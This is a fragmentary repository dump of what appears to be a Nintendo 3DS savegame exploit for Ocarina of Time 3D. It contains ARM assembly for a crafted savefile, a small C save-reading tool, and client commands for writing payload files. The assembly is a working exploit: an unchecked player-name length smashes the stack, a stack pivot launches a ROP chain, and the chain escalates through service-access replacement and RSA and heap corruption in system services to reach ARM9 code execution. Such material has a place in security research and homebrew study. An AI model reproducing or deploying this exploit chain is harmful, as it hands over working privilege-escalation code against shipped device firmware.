r1, [r2] 497 | 498 | fsfile_getsize_end: 499 | add sp, sp, #16 500 | pop {r4, r5, pc} 501 | .pool 502 | 503 | .arm 504 | 505 | armcrashff: 506 | .word 0xffffffff 507 | 508 | .type arm11code_getcmdbuf, %function 509 | arm11code_getcmdbuf: 510 | mrc p15, 0, r0, cr13, cr0, 3 511 | add r0, r0, #0x80 512 | bx lr 513 | 514 | .type arm11code_svcControlMemory, %function 515 | arm11code_svcControlMemory: 516 | svc 0x01 517 | bx lr 518 | 519 | .type arm11code_svcSendSyncRequest, %function 520 | arm11code_svcSendSyncRequest: 521 | svc 0x32 522 | bx lr 523 | 524 | .type arm11code_svcCloseHandle, %function 525 | arm11code_svcCloseHandle: 526 | svc 0x23 527 | bx lr 528 | 529 | .type arm11code_svcSleepThread, %function 530 | arm11code_svcSleepThread: 531 | svc 0x0a 532 | bx lr 533 | 534 | arm11code_servname: 535 | .string "fs:USER" 536 | .align 2 537 | 538 | arm11code_payloadpath: 539 | .string16 "/payload.bin" 540 | .align 2 541 | arm11code_payloadpath_end: 542 | 543 | .space (_start + ARM11CODE_OFF + ARM11CODE_SIZE) - . @ ARM11 code section end. 544 | #endif 545 | 546 | #if EXECHAX==1 547 | appmemtype_appmemsize_table: @ This is a table for the actual APPLICATION mem-region size, for each APPMEMTYPE. 548 | .word 0x04000000 @ type0 549 | .word 0x04000000 @ type1 550 | .word 0x06000000 @ type2 551 | .word 0x05000000 @ type3 552 | .word 0x04800000 @ type4 553 | .word 0x02000000 @ type5 554 | .word 0x07C00000 @ type6 555 | .word 0x0B200000 @ type7 556 | #endif 557 | 558 | -------------------------------------------------------------------------------- /network_install.md: -------------------------------------------------------------------------------- 1 | For reading/writing the savefile(this can be any save0X.bin file) with 3dshaxclient, for gamecard: 2 | * Reading save00.bin: 3dshaxclient --serveradr={ipadr} "--customcmd=directfilerw 0x567890B1 0x1 0x1 0x4 0x18 0x1 0x0 2F007300610076006500300030002E00620069006E000000 @out.bin" 3 | * Write save00.bin: 3dshaxclient --serveradr={ipadr} "--customcmd=directfilerw 0x567890B1 0x1 0x1 0x4 0x18 0x7 0x14dc 0x0 2F007300610076006500300030002E00620069006E000000 @input.bin" 4 | * Write payload.bin: 3dshaxclient --serveradr={ipadr} "--customcmd=directfilerw 0x567890B1 0x1 0x1 0x4 0x1a 0x7 {payloadsize} 0x0 2F007000610079006C006F00610064002E00620069006E000000 @payload.bin" 5 | * Read payload.bin: 3dshaxclient --serveradr={ipadr} "--customcmd=directfilerw 0x567890B1 0x1 0x1 0x4 0x1a 0x1 0x0 2F007000610079006C006F00610064002E00620069006E000000 @out.bin" 6 | -------------------------------------------------------------------------------- /oot3d_savetool.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | unsigned short const crc16_table[256] = { 7 | 0x0000, 0xC0C1, 0xC181, 0x0140, 0xC301, 0x03C0, 0x0280, 0xC241, 0xC601, 0x06C0, 0x0780, 0xC741, 0x0500, 0xC5C1, 8 | 0xC481, 0x0440, 0xCC01, 0x0CC0, 0x0D80, 0xCD41, 0x0F00, 0xCFC1, 0xCE81, 0x0E40, 0x0A00, 0xCAC1, 0xCB81, 0x0B40, 0xC901, 9 | 0x09C0, 0x0880, 0xC841, 0xD801, 0x18C0, 0x1980, 0xD941, 0x1B00, 0xDBC1, 0xDA81, 0x1A40, 0x1E00, 0xDEC1, 0xDF81, 0x1F40, 10 | 0xDD01, 0x1DC0, 0x1C80, 0xDC41, 0x1400, 0xD4C1, 0xD581, 0x1540, 0xD701, 0x17C0, 0x1680, 0xD641, 0xD201, 0x12C0, 0x1380, 11 | 0xD341, 0x1100, 0xD1C1, 0xD081, 0x1040, 0xF001, 0x30C0, 0x3180, 0xF141, 0x3300, 0xF3C1, 0xF281, 0x3240, 0x3600, 0xF6C1, 12 | 0xF781, 0x3740, 0xF501, 0x35C0, 0x3480, 0xF441, 0x3C00, 0xFCC1, 0xFD81, 0x3D40, 0xFF01, 0x3FC0, 0x3E80, 0xFE41, 0xFA01, 13 | 0x3AC0, 0x3B80, 0xFB41, 0x3900, 0xF9C1, 0xF881, 0x3840, 0x2800, 0xE8C1, 0xE981, 0x2940, 0xEB01, 0x2BC0, 0x2A80, 0xEA41, 14 | 0xEE01, 0x2EC0, 0x2F80, 0xEF41, 0x2D00, 0xEDC1, 0xEC81, 0x2C40, 0xE401, 0x24C0, 0x2580, 0xE541, 0x2700, 0xE7C1, 0xE681, 15 | 0x2640, 0x2200, 0xE2C1, 0xE381, 0x2340, 0xE101, 0x21C0, 0x2080, 0xE041, 0xA001, 0x60C0, 0x6180, 0xA141, 0x6300, 0xA3C1, 16 | 0xA281, 0x6240, 0x6600, 0xA6C1, 0xA781, 0x6740, 0xA501, 0x65C0, 0x6480, 0xA441, 0x6C00, 0xACC1, 0xAD81, 0x6D40, 0xAF01, 17 | 0x6FC0, 0x6E80, 0xAE41, 0xAA01, 0x6AC0, 0x6B80, 0xAB41, 0x6900, 0xA9C1, 0xA881, 0x6840, 0x7800, 0xB8C1, 0xB981, 0x7940, 18 | 0xBB01, 0x7BC0, 0x7A80, 0xBA41, 0xBE01, 0x7EC0, 0x7F80, 0xBF41, 0x7D00, 0xBDC1, 0xBC81, 0x7C40, 0xB401, 0x74C0, 0x7580, 19 | 0xB541, 0x7700, 0xB7C1, 0xB681, 0x7640, 0x7200, 0xB2C1, 0xB381, 0x7340, 0xB101, 0x71C0, 0x7080, 0xB041, 0x5000, 0x90C1, 20 | 0x9181, 0x5140, 0x9301, 0x53C0, 0x5280, 0x9241, 0x9601, 0x56C0, 0x5780, 0x9741, 0x5500, 0x95C1, 0x9481, 0x5440, 0x9C01, 21 | 0x5CC0, 0x5D80, 0x9D41, 0x5F00, 0x9FC1, 0x9E81, 0x5E40, 0x5A00, 0x9AC1, 0x9B81, 0x5B40, 0x9901, 0x59C0, 0x5880, 0x9841, 22 | 0x8801, 0x48C0, 0x4980, 0x8941, 0x4B00, 0x8BC1, 0x8A81, 0x4A40, 0x4E00, 0x8EC1, 0x8F81, 0x4F40, 0x8D01, 0x4DC0, 0x4C80, 23 | 0x8C41, 0x4400, 0x84C1, 0x8581, 0x4540, 0x8701, 0x47C0, 0x4680, 0x8641, 0x8201, 0x42C0, 0x4380, 0x8341, 0x4100, 0x81C1, 24 | 0x8081, 0x4040 25 | }; 26 | 27 | unsigned short crc16(unsigned char *buf, unsigned int size, unsigned short seed) 28 | { 29 | unsigned short crc = seed; 30 | unsigned char val; 31 | 32 | while(size>0) 33 | { 34 | size--; 35 | val = *buf++; 36 | crc = crc16_table[(val ^ crc) & 0xff] ^ (crc >> 8); 37 | } 38 | 39 | return crc; 40 | } 41 | 42 | unsigned short getle16(const void* ptr) 43 | { 44 | unsigned char* p = (unsigned char*)ptr; 45 | 46 | return p[0] | (p[1]<<8); 47 | } 48 | 49 | unsigned int getle32(const void* ptr) 50 | { 51 | unsigned char* p = (unsigned char*)ptr; 52 | 53 | return (p[0]<<0) | (p[1]<<8) | (p[2]<<16) | (p[3]<<24); 54 | } 55 | 56 | void putle16(unsigned char* p, unsigned short n) 57 | { 58 | p[0] = n; 59 | p[1] = n>>8; 60 | } 61 | 62 | void process_save(unsigned char *savegame) 63 | { 64 | unsigned int pos = 0; 65 | unsigned int len = savegame[0x2c]; 66 | unsigned int year, month, day, hour, minute; 67 | unsigned int horserace_time, marathon_time; 68 | unsigned int total_hearts; 69 | 70 | printf("Player name length: %u\n", len); 71 | printf("Player name: "); 72 | 73 | while(pos=3 && argv[2][0]!='-') 134 | { 135 | argi++; 136 | strncpy(outpath, argv[2], 255); 137 | } 138 | 139 | while(argi referenced here are for the USA game. 6 | 7 | #define ROPKIT_TMPDATA 0x0FFFC000 8 | 9 | #define ROPKIT_LINEARMEM_REGIONBASE 0x14000000 10 | 11 | #define ROPKIT_LINEARMEM_BUF (ROPKIT_LINEARMEM_REGIONBASE+0x700000) 12 | 13 | #define ROPKIT_MOUNTSAVEDATA 14 | 15 | #include "ropkit_ropinclude.s" 16 | 17 | #define RSAINFO_OFF 0x880+0x40 18 | 19 | #define SRVACCESS_OFF 0xf00 //Savegame offset for the new service access control. 20 | #define ARM9CODE_OFF 0xb00+0x40 21 | #define ARM9CODE_SIZE 0x200-0x40 22 | #define ARM11CODE_OFF 0xd00 23 | #define ARM11CODE_SIZE 0x300 24 | 25 | #define HAXWORD 0x58584148 26 | 27 | #if EXECHAX==0 || EXECHAX==3 28 | #define ARM9HAX 1 29 | #endif 30 | 31 | #if ARM9HAX==1 32 | #define REPLACE_SRVACCESSCONTROL 33 | #endif 34 | 35 | #ifdef ARM9HAX 36 | #if FWVER != 0x1F && FWVER != 0x18 37 | #error "The specified FWVER is not supported." 38 | #endif 39 | 40 | #if FWVER == 0x1F 41 | #define PXIFS_STATEPTR 0x0809797c 42 | #define ARM9_ARCHIVE_MNTSD 0x8061451 43 | #define ARM9_GETARCHIVECLASS 0x8063f91 44 | #define DATAOUTCLASS_VTABLEPTR 0x080944c8 45 | 46 | #define PXIPS9_BUF 0x080c3ee0 47 | #elif FWVER == 0x18 48 | #define PXIFS_STATEPTR 0x080c473c 49 | #define ARM9_ARCHIVE_MNTSD 0x806145d 50 | #define ARM9_GETARCHIVECLASS 0x8064029 51 | #define DATAOUTCLASS_VTABLEPTR 0x08094328 52 | 53 | #define PXIPS9_BUF 0x080c4420 54 | #endif 55 | #endif 56 | 57 | #define PSPS_SIGBUFSIZE 0x7440//This is for FW1F. FW0B=0xD9B8. 58 | 59 | #if EXECHAX==3 60 | //These addresses are for FW1F. 61 | #define HEAPHAX_HEAPCTX 0x80a2e80 62 | #define HEAPHAX_HEAPBUF HEAPHAX_HEAPCTX-0x2800//Addr of the ARM9 heap buffer where the input data for amnet cmd 0x08190108 is copied to. 63 | #define DIFF_FILEREAD_FUNCPTR 0x080952c0+8//This is the addr of the funcptr used by the DIFF verification code for reading data, via a class vtable. 64 | #define DIFF_FILEREAD_FUNCADR 0x08065275//The original func addr from the above funcptr, before it's overwritten. 65 | #define HEAPHAX_INPUTBUF 0x08000000 66 | #define HEAPHAX_BUFSIZE 0x2800 67 | #define HEAPCHUNK_SAVEOFF 0xf80 68 | #define HEAPOFF_ARM9CODE 0x4 69 | #endif 70 | 71 | #ifdef ARM9HAX 72 | .macro SENDCMD HANDLE, CMDID, BUF 73 | CALLFUNC_NOSP GETTHREADSTORAGE, 0, 0, 0, ROPBUF+0x1040 74 | 75 | .word 0 @ r4 popped by GETTHREADSTORAGE 76 | 77 | ROP_LOADR0_FROMADDR ROPBUF+0x1044 78 | 79 | ROP_SETR1 0x20 80 | 81 | .word POP_R4R5R6PC 82 | 83 | .word 0 @ r4 84 | .word ROPBUF+0x1018 @ r5, +0x38 is a classptr. 85 | .word 0 @ r6 86 | .word ADDSHIFTVAL_BLXR3 87 | 88 | .word \CMDID @ r0, CmdID 89 | .word \BUF @ r1, 0x80-byte buf copied to cmdbuf+4 90 | .word 0 @ r2 91 | .word 0 @ r3 92 | .word 0 @ sl 93 | .word 0 @ ip 94 | .word POP_R5R6PC 95 | 96 | .word \HANDLE @ r5, Handle* 97 | .word 0 @ r6 98 | .word ROP_SENDCMDADDR 99 | 100 | .word 0 @ r4 101 | .word 0 @ r5 102 | .word 0 @ r6 103 | #if EXECHAX!=3 //The .ctx install command will return an error since the input data is invalid, therefore disable this conditional fatal-error call when using the .ctx install cmd hax. 104 | COND_THROWFATALERR 105 | #endif 106 | .endm 107 | #endif 108 | 109 | _start: 110 | .word 0xbb, 0x01, 0x8000, 0xe0ba, 0x1, 0x57, 0x57 111 | .hword 0x48, 0x61, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78 @ UTF-16 "Haxxxxxx" 112 | .byte 0x9a + 0x2 /* + 0x14*/ @ Length of player-name in utf16-chars, so byte-size is u8 value<<1. The player-name string is copied to the output buffer using lenval<<1, without checking the size or for NUL-termination. With the length used here, this results in a stack-smash once in-game function(s) load this string(see README). 113 | .byte 0x01, 0x02, 0x00 114 | .ascii "ZELDAZ" 115 | .hword 0x428 116 | .word 0xdfdfdfdf 117 | .word 0x8 @ This value overwrites the utf16 string-length u32 stored in the ctx when the player-name is copied to the ctx, therefore use a value which won't cause other crashes. 118 | 119 | .byte 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x02, 0x60, 0xf4, 0x01, 0x00, 0x00 120 | .byte 0x65, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x3b, 0x06, 0x0f, 0x02 121 | .byte 0x27, 0x06, 0x0d, 0x02, 0x17, 0x00, 0x22, 0x11, 0x3c, 0x0f, 0x45, 0x02 122 | .byte 0x0b, 0x0d, 0x18, 0x02, 0x09, 0x00, 0x32, 0x13, 0x00, 0x00, 0x00, 0x00 123 | .word 0x00, 0x00, 0x00 124 | .byte 0x00, 0x00, 0x34, 0x00, 0x3c, 0x03, 0x45, 0x02, 0x0b, 0x03, 0x18, 0x02 125 | .byte 0x09, 0x00, 0x32, 0x11, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x08 126 | .byte 0x09, 0x0b, 0xff, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x1a, 0x18 127 | .byte 0x18, 0xff, 0x2e, 0x27, 0x45, 0x46, 0x14, 0x1e, 0x0f, 0x22, 0x00, 0x00 128 | .byte 0x1c, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x09, 0x73, 0x77 129 | .byte 0xcb, 0xe2, 0x24, 0x00, 0xff, 0xff, 0xff, 0x30, 0x06, 0x06, 0x06, 0x07 130 | .byte 0x07, 0x07, 0x07, 0x07, 0x06, 0x06, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 131 | .byte 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00 132 | .byte 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0xff, 0xff, 0x14 133 | .byte 0x43, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00, 0xff, 0x9f, 0x79, 0x82 134 | .byte 0x50, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 135 | .byte 0xff, 0x07, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00, 0x3f, 0x00, 0x00, 0x00 136 | .byte 0xff, 0xdf, 0x36, 0xef, 0x60, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 137 | .byte 0x00, 0x00, 0x00, 0x00 138 | 139 | @ This is where the saved LR is located in the stack-frame for KOR and CHNTWN(smaller stack-frame than the other regions). 140 | .word ROP_POPR3_ADDSPR3_POPPC @ Stack-pivot to ropstackstart. 141 | .word (ROPBUFLOC(ropstackstart) - (0x0ffffc58+0x4)) 142 | 143 | .byte 0xff, 0x07, 0x00, 0x00, 0xff, 0xdf, 0x7f, 0xb7 144 | .word 0x6f40, 0x4, 0x0 145 | .word 0x7fff, 0xc0, 0xfa6f, 0xf3f7e3ff 146 | .word 0x253060 147 | 148 | @ This is the word which overwrites the saved LR with the stack-smash, thus this is the start of the ROP-chain. This is located at offset 0x14c in the savefile, relative to the playername string it's +0x130. 149 | 150 | .word ROP_POPR3_ADDSPR3_POPPC @ Stack-pivot to ropstackstart. 151 | .word (ROPBUFLOC(ropstackstart) - (0x0ffffcc0+0x4)) 152 | 153 | .space (_start + 0x180) - . 154 | ropstackstart: 155 | 156 | #ifdef REPLACE_SRVACCESSCONTROL 157 | CALLFUNC_NOSP CLOSEHANDLE, SRV_SESSIONHANDLE, 0, 0, 0 158 | 159 | .word 0 @ r4 160 | 161 | @ Outhandle is @ SRV_SESSIONHANDLE. 162 | CALLFUNC_NOSP svcConnectToPort, SRV_SESSIONHANDLE, ROPBUFLOC(srvpm_string), 0, 0 163 | 164 | COND_THROWFATALERR 165 | 166 | .word POP_R4R5R6PC 167 | .word 0 @ r4 168 | .word 0 @ r5 169 | .word ROPBUF+0x13bc @ r6 170 | .word srvinit_RegisterClient 171 | 172 | .word ROPBUF+0x13bc @ r3/sp0 173 | .word 0 @ r4 174 | .word 0 @ r5 175 | .word 0 @ r6 176 | .word 0 @ r7 177 | 178 | CALLFUNC_NOSP svcGetProcessId, ROPBUF+0x1080, 0xffff8001, 0, 0 179 | 180 | SENDCMD SRV_SESSIONHANDLE, 0x04040040, ROPBUF+0x1080 @ Unregister this process from srv:pm. 181 | SENDCMD SRV_SESSIONHANDLE, 0x04030082, ROPBUF+0x1080 @ Register this process with srv:pm, with new service access control. 182 | #endif 183 | 184 | #if EXECHAX==0 185 | @ Get the session handle for "ps:ps", outhandle @ ROPBUF+0x1040. 186 | CALLFUNC_NOSP SRV_GETSERVICEHANDLE, ROPBUF+0x1040, (ROPBUF+SRVACCESS_OFF + 0x9*8), 5, 0 187 | 188 | COND_THROWFATALERR 189 | 190 | @ Copy the ARM9 code to the beginning of the signature buffer. 191 | CALLFUNC_NOSP MEMCPY, 0x08000000, ROPBUF+ARM9CODE_OFF, ARM9CODE_SIZE, 0 192 | 193 | CALLFUNC_NOSP MEMSET32_OTHER+4, 0x08000000+0x200, PSPS_SIGBUFSIZE-0x200, PXIPS9_BUF, 0 194 | 195 | SENDCMD ROPBUF+0x1040, 0x00020244, ROPBUF+0x1100 196 | 197 | .word THROWFATALERR 198 | 199 | #endif 200 | 201 | #if EXECHAX==3 202 | @ Get the session handle for "am:net", outhandle @ ROPBUF+0x1040. 203 | CALLFUNC_NOSP SRV_GETSERVICEHANDLE, ROPBUF+0x1040, (ROPBUF+SRVACCESS_OFF + 0xb*8), 6, 0 204 | 205 | COND_THROWFATALERR 206 | 207 | CALLFUNC_NOSP MEMSET32_OTHER+4, HEAPHAX_INPUTBUF, HEAPHAX_BUFSIZE, 0xffffffff, 0 208 | 209 | @ Copy the RSA-2048 "cert" used to trigger an error so that the .ctx install cmd aborts processing the cert buffer data. 210 | CALLFUNC_NOSP MEMCPY, HEAPHAX_INPUTBUF, ROPBUF+RSAINFO_OFF, 0x280, 0 211 | 212 | @ Copy the ARM9 code. 213 | CALLFUNC_NOSP MEMCPY, HEAPHAX_INPUTBUF+HEAPOFF_ARM9CODE, ROPBUF+ARM9CODE_OFF, ARM9CODE_SIZE, 0 214 | 215 | @ Copy the memchunk header. 216 | CALLFUNC_NOSP MEMCPY, HEAPHAX_INPUTBUF+HEAPOFF_ARM9CODE+0x200+0x88, ROPBUF+HEAPCHUNK_SAVEOFF, 0x10, 0 217 | 218 | @ Copy the heap memctx data to heapbuf+0x2800. 219 | CALLFUNC_NOSP MEMCPY, HEAPHAX_INPUTBUF+0x2800, ROPBUF+HEAPCHUNK_SAVEOFF+0x10, 0x3c+8, 0 220 | 221 | SENDCMD ROPBUF+0x1040, 0x08190108, ROPBUF+0x1180 @ CTX install cmd 222 | SENDCMD ROPBUF+0x1040, 0x00190040, ROPBUF+0x1200 @ ReloadDBS 223 | 224 | .word HAXWORD 225 | #endif 226 | 227 | #if EXECHAX==1 //This code exec method reads save00.bin to .text. This only works prior to system version 4.0.0-7, with FW1D/4.0.0-7 this causes a kernel panic. 228 | CALLFUNC_NOSP FS_MountSavedata, ROPBUFLOC(savedata_archivename), 0, 0, 0 229 | 230 | CALLFUNC_NOSP IFile_Open, ROPBUF+0x1044, ROPBUF+0x1000, 1, 0 231 | 232 | CALLFUNC_NOSP IFile_Read, ROPBUF+0x1044, ROPBUF+0x1048, 0x2cd2b4, ARM11CODE_OFF+ARM11CODE_SIZE 233 | 234 | ROPMACRO_IFile_Close ROPBUF+0x1044 235 | 236 | .word 0x2cd2b4+ARM11CODE_OFF 237 | #endif 238 | 239 | #if EXECHAX==2 240 | #include "ropkit_boototherapp.s" 241 | 242 | ropkit_cmpobject: 243 | .word (ROPBUFLOC(ropkit_cmpobject) + 0x4) @ Vtable-ptr 244 | .fill (0x40 / 4), 4, STACKPIVOT_ADR @ Vtable 245 | #endif 246 | 247 | #if EXECHAX==0 248 | .space (_start + RSAINFO_OFF) - . @ ps:ps RSA ctx 249 | .space (_start + RSAINFO_OFF + 0x200) - . @ RSA modulo and exponent = zeros. 250 | .word PSPS_SIGBUFSIZE<<3 @ RSA bit-size, for the signature. 251 | .word 0 252 | #elif EXECHAX==3 253 | .space (_start + RSAINFO_OFF) - . @ RSA-4096 "cert", used with the .ctx install cmd. 254 | .word 0x3000100 @ Big-endian signature-type 0x10003, for RSA-4096 SHA256. 255 | .space (_start + RSAINFO_OFF + 0x280) - . 256 | #endif 257 | 258 | #ifdef ARM9HAX 259 | .space (_start + ARM9CODE_OFF) - . @ ARM9 code 260 | #if EXECHAX==3 261 | b arm9code 262 | .word 0, 0, 0 @ For heaphaxx, branch around the data overwritten by the ARM9 CTR-SDK heap code. 263 | #endif 264 | arm9code: 265 | push {r0, r1, r2, r3, r4, r5, r6, r7, lr} 266 | sub sp, sp, #48 267 | 268 | sub r1, pc, #12 269 | ldr r0, =0xffff8001 270 | mov r2, #ARM9CODE_SIZE 271 | svc 0x00000054 272 | 273 | orr ip, pc, #1 274 | bx ip 275 | 276 | .thumb 277 | ldr r5, =PXIFS_STATEPTR 278 | ldr r5, [r5] 279 | add r5, r5, #8 @ r5 = state 280 | ldr r1, =0x2EA0 281 | add r0, r5, r1 282 | add r1, sp, #8 283 | ldr r4, =ARM9_ARCHIVE_MNTSD 284 | blx r4 285 | 286 | mov r3, #0 287 | str r3, [sp, #28] 288 | str r3, [sp, #0] 289 | str r3, [sp, #4] 290 | add r0, sp, #16 291 | mov r1, r5 292 | ldr r2, [sp, #8] 293 | ldr r3, [sp, #12] 294 | ldr r4, =ARM9_GETARCHIVECLASS 295 | blx r4 296 | 297 | ldr r6, [sp, #28] 298 | 299 | add r0, sp, #36 300 | mov r1, #4 301 | str r1, [r0] 302 | mov r1, #0x22 303 | str r1, [r0, #8] 304 | adr r1, arm9_filepath 305 | str r1, [r0, #4] 306 | 307 | mov r0, #0 308 | str r0, [sp, #32] 309 | mov r3, #1 310 | str r3, [sp, #0] 311 | str r0, [sp, #4] 312 | add r1, sp, #32 313 | mov r2, #0 314 | add r3, sp, #36 315 | mov r0, r6 316 | ldr r4, [r0] 317 | ldr r4, [r4, #8] 318 | blx r4 //openfile 319 | 320 | ldr r7, [sp, #32] 321 | 322 | mov r0, r7 323 | add r1, sp, #20 324 | ldr r4, [r7] 325 | ldr r4, [r4, #16] 326 | blx r4 //getfilesize 327 | 328 | mov r0, r7 329 | adr r1, arm9_loadaddr 330 | mov r2, #4 331 | mov r3, #0 332 | bl fileread 333 | 334 | mov r0, r7 335 | ldr r1, arm9_loadaddr 336 | ldr r2, [sp, #20] 337 | sub r2, r2, #4 338 | mov r3, #4 339 | bl fileread 340 | 341 | cmp r0, #0 342 | bne arm9fail 343 | 344 | ldr r0, =0xffff8001 345 | ldr r1, arm9_loadaddr 346 | ldr r2, [sp, #20] 347 | sub r2, r2, #4 348 | blx svcFlushProcessDataCache 349 | 350 | add sp, sp, #48 351 | 352 | ldr r0, arm9_loadaddr 353 | blx r0 354 | 355 | #if EXECHAX==3 356 | ldr r0, [sp, #0x24] 357 | bl heaphaxa9_restoreheap 358 | ldr r0, =DIFF_FILEREAD_FUNCPTR 359 | ldr r1, =DIFF_FILEREAD_FUNCADR 360 | str r1, [r0] 361 | #endif 362 | 363 | ldr r0, [sp, #0x20] 364 | mov lr, r0 365 | pop {r0, r1, r2, r3, r4, r5, r6, r7} 366 | add sp, sp, #4 367 | 368 | #if EXECHAX==3 369 | ldr r7, =DIFF_FILEREAD_FUNCADR 370 | bx r7 371 | #endif 372 | 373 | arm9code_end: 374 | b arm9code_end 375 | .pool 376 | 377 | arm9fail: 378 | ldr r0, =HAXWORD 379 | blx r0 380 | .pool 381 | 382 | fileread: 383 | push {r3, r4, lr} 384 | sub sp, sp, #24 385 | add r3, sp, #16 386 | str r2, [sp, #8] 387 | ldr r2, =DATAOUTCLASS_VTABLEPTR 388 | str r2, [r3] 389 | str r1, [r3, #4] 390 | str r3, [sp, #0] 391 | mov r1, #0 392 | str r1, [sp, #4] 393 | add r1, sp, #12 394 | ldr r2, [sp, #24] 395 | mov r3, #0 396 | 397 | ldr r4, [r0] 398 | ldr r4, [r4, #0x38] 399 | blx r4 //readfile 400 | add sp, sp, #24 401 | pop {r3, r4, pc} 402 | .pool 403 | 404 | #if EXECHAX==3 405 | heaphaxa9_restoreheap: 406 | push {r4} 407 | sub r0, r0, #0x10 @ r0 = DU chunkhdr for the save-read output buffer. 408 | mov r1, #0xf 409 | mvn r1, r1 @ r1 = -0x10 410 | str r1, [r0, #4] @ Set the DU chunkhdr chunk-size to -0x10. if(((DUchunkhdr_addr + 0x10 + chunksize) - RFchunkhdradr) < 0x10)this triggers return 0 from RF chunk mem free code without writing to heap chunkhdrs/memctx ptrs. The DU chunkhdr here is located 0x4 bytes after the RF chunkhdr due to alignment. 411 | 412 | ldr r0, =(HEAPHAX_HEAPCTX + 24 + 0x24) 413 | ldr r1, [r0, #8] @ r1 = addr of first heap DU chunkhdr. 414 | 415 | heaphaxa9_restoreheap_findheapendDU: @ r1 = last DU chunkhdr in the linked-list. 416 | cmp r1, #0 417 | beq heaphaxa9_restoreheap_end 418 | ldr r2, [r1, #12] 419 | cmp r2, #0 420 | beq heaphaxa9_restoreheap_findheapendDU_finish 421 | mov r1, r2 422 | b heaphaxa9_restoreheap_findheapendDU 423 | 424 | heaphaxa9_restoreheap_findheapendDU_finish: 425 | ldr r1, [r1, #8] @ Since this code is executed before the output-buf DU chunk is unlinked which was allocated via the heaphax RF chunk, the last chunk is the output-buf DU chunk. Therefore, set r1 to the DU chunkhdr which was originally the last chunkhdr in the linked-list, prior to using the ReloadDBS command. 426 | cmp r1, #0 427 | beq heaphaxa9_restoreheap_end 428 | 429 | ldr r3, =0x4652 @ "RF" 430 | mov r4, #2 431 | heaphaxa9_restoreheap_findRF: 432 | add r1, r1, #4 433 | ldr r2, [r1] 434 | cmp r2, r3 435 | beq heaphaxa9_restoreheap_findRF_found 436 | b heaphaxa9_restoreheap_findRF @ Find the RF chunkhdr following the above DU chunkhdr, which doesn't have a DU chunkhdr immediately after this RF chunkhdr. 437 | heaphaxa9_restoreheap_findRF_found: 438 | sub r4, r4, #1 439 | cmp r4, #0 440 | bgt heaphaxa9_restoreheap_findRF 441 | 442 | str r1, [r0, #0] @ Write the above RF memchunkhdr ptr to the heapctx RF chunkhdr ptrs. 443 | str r1, [r0, #4] 444 | 445 | heaphaxa9_restoreheap_end: 446 | pop {r4} 447 | bx lr 448 | .pool 449 | #endif 450 | 451 | .arm 452 | svcFlushProcessDataCache: 453 | svc 0x00000054 454 | bx lr 455 | #endif 456 | 457 | #ifdef ARM9HAX 458 | arm9_filepath: 459 | .hword 0x2F, 0x33, 0x64, 0x73, 0x68, 0x61, 0x78, 0x5F, 0x61, 0x72, 0x6D, 0x39, 0x2E, 0x62, 0x69, 0x6E, 0x00 //UTF-16 "/3dshax_arm9.bin" 460 | .align 2 461 | 462 | arm9_loadaddr: 463 | .word 0 464 | 465 | .space (_start + ARM9CODE_OFF + ARM9CODE_SIZE) - . @ ARM9 code section end. 466 | #endif 467 | 468 | #ifdef REPLACE_SRVACCESSCONTROL 469 | .space (_start + SRVACCESS_OFF) - . @ New service access control 470 | .ascii "APT:U" 471 | 472 | .space (_start + SRVACCESS_OFF + 0x1*8) - . 473 | .ascii "y2r:u" 474 | 475 | .space (_start + SRVACCESS_OFF + 0x2*8) - . 476 | .ascii "gsp::Gpu" 477 | 478 | .space (_start + SRVACCESS_OFF + 0x3*8) - . 479 | .ascii "ndm:u" 480 | 481 | .space (_start + SRVACCESS_OFF + 0x4*8) - . 482 | .ascii "fs:USER" 483 | 484 | .space (_start + SRVACCESS_OFF + 0x5*8) - . 485 | .ascii "hid:USER" 486 | 487 | .space (_start + SRVACCESS_OFF + 0x6*8) - . 488 | .ascii "dsp::DSP" 489 | 490 | .space (_start + SRVACCESS_OFF + 0x7*8) - . 491 | .ascii "cfg:u" 492 | 493 | .space (_start + SRVACCESS_OFF + 0x8*8) - . 494 | .ascii "fs:REG" 495 | 496 | .space (_start + SRVACCESS_OFF + 0x9*8) - . 497 | .ascii "ps:ps" 498 | 499 | .space (_start + SRVACCESS_OFF + 0xa*8) - . 500 | .ascii "ns:s" 501 | 502 | .space (_start + SRVACCESS_OFF + 0xb*8) - . 503 | .ascii "am:u"//"am:net" 504 | #endif 505 | 506 | #if EXECHAX==3 507 | .space (_start + HEAPCHUNK_SAVEOFF) - . 508 | .word 0x4652 @ "RF" 509 | .word 0x150 @ Available free space following this chunk header. 510 | .word DIFF_FILEREAD_FUNCPTR-12 @ prev memchunk ptr 511 | .word HEAPHAX_HEAPBUF+HEAPOFF_ARM9CODE @ next memchunk ptr, arm9 code addr. 512 | 513 | .word 0x08093920 @ Heap memctx 514 | .word 0, 0, 0, 0, 0 515 | .word 0x45585048 516 | .word 0, 0, 0, 0 517 | .word 0x00040000 518 | .word 0x080A2EE4 519 | .word 0x080B5280 520 | .word 0 521 | .word HEAPHAX_HEAPBUF+HEAPOFF_ARM9CODE+0x200+0x88, HEAPHAX_HEAPBUF+HEAPOFF_ARM9CODE+0x200+0x88 @ RF chunk ptrs 522 | #endif 523 | 524 | #if EXECHAX==1 525 | .space (_start + 0x1000) - . 526 | .hword 0x64, 0x61, 0x74, 0x61, 0x3A, 0x2F, 0x73, 0x61, 0x76, 0x65, 0x30, 0x30, 0x2E, 0x62, 0x69, 0x6E, 0x00 527 | .align 2 528 | 529 | savedata_archivename: 530 | .string "data:" 531 | .align 2 532 | #endif 533 | 534 | #ifdef 